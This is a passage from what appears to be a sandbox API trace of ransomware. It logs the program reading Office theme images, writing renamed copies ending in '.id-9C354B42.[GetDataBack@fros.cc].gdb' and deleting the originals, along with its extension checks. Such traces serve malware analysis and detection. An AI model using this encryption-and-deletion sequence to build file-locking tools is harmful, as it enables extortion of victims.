Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.168] lstrlenW (lpString=".dbf") returned 4 [0125.168] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.168] lstrlenW (lpString=".1cd") returned 4 [0125.168] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.168] lstrlenW (lpString=".jpg") returned 4 [0125.168] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.168] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.168] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.169] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=5179) returned 1 [0125.169] CloseHandle (hObject=0x220) returned 1 [0125.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0125.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.169] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.169] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.171] GetLastError () returned 0x0 [0125.171] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x143b, lpOverlapped=0x0) returned 1 [0125.173] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x1440, lpOverlapped=0x0) returned 1 [0125.174] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.174] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0125.174] SetEndOfFile (hFile=0x218) returned 1 [0125.174] CloseHandle (hObject=0x218) returned 1 [0125.174] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.175] SetEndOfFile (hFile=0x220) returned 1 [0125.175] CloseHandle (hObject=0x220) returned 1 [0125.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.176] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0125.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.176] lstrlenW (lpString=".doc") returned 4 [0125.176] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.176] lstrlenW (lpString=".docx") returned 5 [0125.176] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.176] lstrlenW (lpString=".pdf") returned 4 [0125.176] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.176] lstrlenW (lpString=".xls") returned 4 [0125.176] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.176] lstrlenW (lpString=".xlsx") returned 5 [0125.176] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.176] lstrlenW (lpString=".ppt") returned 4 [0125.176] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.176] lstrlenW (lpString=".zip") returned 4 [0125.176] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString=".rar") returned 4 [0125.177] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString=".bz2") returned 4 [0125.177] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.177] lstrlenW (lpString=".7z") returned 3 [0125.177] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.177] lstrlenW (lpString=".dbf") returned 4 [0125.177] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.177] lstrlenW (lpString=".1cd") returned 4 [0125.177] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.177] lstrlenW (lpString=".jpg") returned 4 [0125.177] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.177] lstrlenW (lpString=".doc") returned 4 [0125.177] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.177] lstrlenW (lpString=".docx") returned 5 [0125.177] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.177] lstrlenW (lpString=".pdf") returned 4 [0125.177] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString=".xls") returned 4 [0125.177] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString=".xlsx") returned 5 [0125.177] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.177] lstrlenW (lpString=".ppt") returned 4 [0125.177] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.177] lstrlenW (lpString=".zip") returned 4 [0125.177] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString=".rar") returned 4 [0125.177] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.177] lstrlenW (lpString=".bz2") returned 4 [0125.178] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.178] lstrlenW (lpString=".7z") returned 3 [0125.178] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.178] lstrlenW (lpString=".dbf") returned 4 [0125.178] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.178] lstrlenW (lpString=".1cd") returned 4 [0125.178] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0125.178] lstrlenW (lpString=".jpg") returned 4 [0125.178] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.178] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.178] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.178] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=33559) returned 1 [0125.179] CloseHandle (hObject=0x220) returned 1 [0125.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0125.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.179] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.179] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.179] GetLastError () returned 0x0 [0125.179] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x8317, lpOverlapped=0x0) returned 1 [0125.564] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x8320, lpOverlapped=0x0) returned 1 [0125.566] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.566] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0125.566] SetEndOfFile (hFile=0x218) returned 1 [0125.566] CloseHandle (hObject=0x218) returned 1 [0125.567] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.567] SetEndOfFile (hFile=0x220) returned 1 [0125.568] CloseHandle (hObject=0x220) returned 1 [0125.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.568] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0125.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.568] lstrlenW (lpString=".doc") returned 4 [0125.569] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.569] lstrlenW (lpString=".docx") returned 5 [0125.569] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.569] lstrlenW (lpString=".pdf") returned 4 [0125.569] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.569] lstrlenW (lpString=".xls") returned 4 [0125.569] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.569] lstrlenW (lpString=".xlsx") returned 5 [0125.569] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.569] lstrlenW (lpString=".ppt") returned 4 [0125.569] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.569] lstrlenW (lpString=".zip") returned 4 [0125.569] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.569] lstrlenW (lpString=".rar") returned 4 [0125.569] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.569] lstrlenW (lpString=".bz2") returned 4 [0125.569] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.569] lstrlenW (lpString=".7z") returned 3 [0125.569] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.569] lstrlenW (lpString=".dbf") returned 4 [0125.569] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.569] lstrlenW (lpString=".1cd") returned 4 [0125.569] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.569] lstrlenW (lpString=".jpg") returned 4 [0125.569] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.569] lstrlenW (lpString=".doc") returned 4 [0125.569] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.569] lstrlenW (lpString=".docx") returned 5 [0125.570] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.570] lstrlenW (lpString=".pdf") returned 4 [0125.570] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.570] lstrlenW (lpString=".xls") returned 4 [0125.570] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.570] lstrlenW (lpString=".xlsx") returned 5 [0125.570] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.570] lstrlenW (lpString=".ppt") returned 4 [0125.570] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.570] lstrlenW (lpString=".zip") returned 4 [0125.570] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.570] lstrlenW (lpString=".rar") returned 4 [0125.570] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.570] lstrlenW (lpString=".bz2") returned 4 [0125.570] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.570] lstrlenW (lpString=".7z") returned 3 [0125.570] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.570] lstrlenW (lpString=".dbf") returned 4 [0125.570] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.570] lstrlenW (lpString=".1cd") returned 4 [0125.570] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0125.570] lstrlenW (lpString=".jpg") returned 4 [0125.570] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.571] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.571] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.571] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=37440) returned 1 [0125.571] CloseHandle (hObject=0x220) returned 1 [0125.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0125.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.572] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.572] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.572] GetLastError () returned 0x0 [0125.572] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x9240, lpOverlapped=0x0) returned 1 [0125.574] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x9250, lpOverlapped=0x0) returned 1 [0125.576] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.576] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0125.576] SetEndOfFile (hFile=0x218) returned 1 [0125.576] CloseHandle (hObject=0x218) returned 1 [0125.576] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.576] SetEndOfFile (hFile=0x220) returned 1 [0125.577] CloseHandle (hObject=0x220) returned 1 [0125.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.578] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0125.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.578] lstrlenW (lpString=".doc") returned 4 [0125.578] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.578] lstrlenW (lpString=".docx") returned 5 [0125.578] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.578] lstrlenW (lpString=".pdf") returned 4 [0125.578] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.578] lstrlenW (lpString=".xls") returned 4 [0125.578] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.578] lstrlenW (lpString=".xlsx") returned 5 [0125.578] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.578] lstrlenW (lpString=".ppt") returned 4 [0125.578] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.578] lstrlenW (lpString=".zip") returned 4 [0125.578] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.578] lstrlenW (lpString=".rar") returned 4 [0125.578] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.578] lstrlenW (lpString=".bz2") returned 4 [0125.578] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.578] lstrlenW (lpString=".7z") returned 3 [0125.578] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.578] lstrlenW (lpString=".dbf") returned 4 [0125.579] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString=".1cd") returned 4 [0125.579] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString=".jpg") returned 4 [0125.579] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString=".doc") returned 4 [0125.579] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString=".docx") returned 5 [0125.579] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.579] lstrlenW (lpString=".pdf") returned 4 [0125.579] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString=".xls") returned 4 [0125.579] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.579] lstrlenW (lpString=".xlsx") returned 5 [0125.579] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.579] lstrlenW (lpString=".ppt") returned 4 [0125.579] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString=".zip") returned 4 [0125.579] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.579] lstrlenW (lpString=".rar") returned 4 [0125.579] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.579] lstrlenW (lpString=".bz2") returned 4 [0125.579] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString=".7z") returned 3 [0125.579] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString=".dbf") returned 4 [0125.579] 